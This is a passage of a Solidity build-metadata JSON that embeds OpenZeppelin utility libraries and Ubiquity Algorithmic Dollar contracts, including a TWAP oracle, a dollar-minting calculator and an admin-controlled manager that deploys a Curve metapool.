https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/DollarMintingCalculator.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/IDollarMintingCalculator.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"./TWAPOracle.sol\\\";\\nimport \\\"./libs/ABDKMathQuad.sol\\\";\\n\\n/// @title A mock coupon calculator that always returns a constant\\ncontract DollarMintingCalculator is IDollarMintingCalculator {\\n using ABDKMathQuad for uint256;\\n using ABDKMathQuad for bytes16;\\n\\n bytes16 private immutable _one = (uint256(1 ether)).fromUInt();\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n /// @param _manager the address of the manager contract so we can fetch variables\\n constructor(address _manager) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n /// @notice returns (TWAP_PRICE -1) * UAD_Total_Supply\\n function getDollarsToMint() external view override returns (uint256) {\\n TWAPOracle oracle = TWAPOracle(manager.twapOracleAddress());\\n uint256 twapPrice = oracle.consult(manager.dollarTokenAddress());\\n require(twapPrice > 1, \\\"DollarMintingCalculator: not > 1\\\");\\n return\\n twapPrice\\n .fromUInt()\\n .sub(_one)\\n .mul(\\n (\\n IERC20(manager.dollarTokenAddress())\\n .totalSupply()\\n .fromUInt()\\n .div(_one)\\n )\\n )\\n .toUInt();\\n }\\n}\\n\",\"keccak256\":\"0xcc43e50c103b25bfb78a7a0c996f4ec22521749301f27f15c9215584c52a99e7\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IDollarMintingCalculator.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\\\";\\n\\n/// @title A mechanism for calculating dollars to be minted\\ninterface IDollarMintingCalculator {\\n function getDollarsToMint() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xd86e047647c26ad000708918cf28dc8fc653cdcd5335357155afc4d24cd7234b\",\"license\":\"MIT\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view 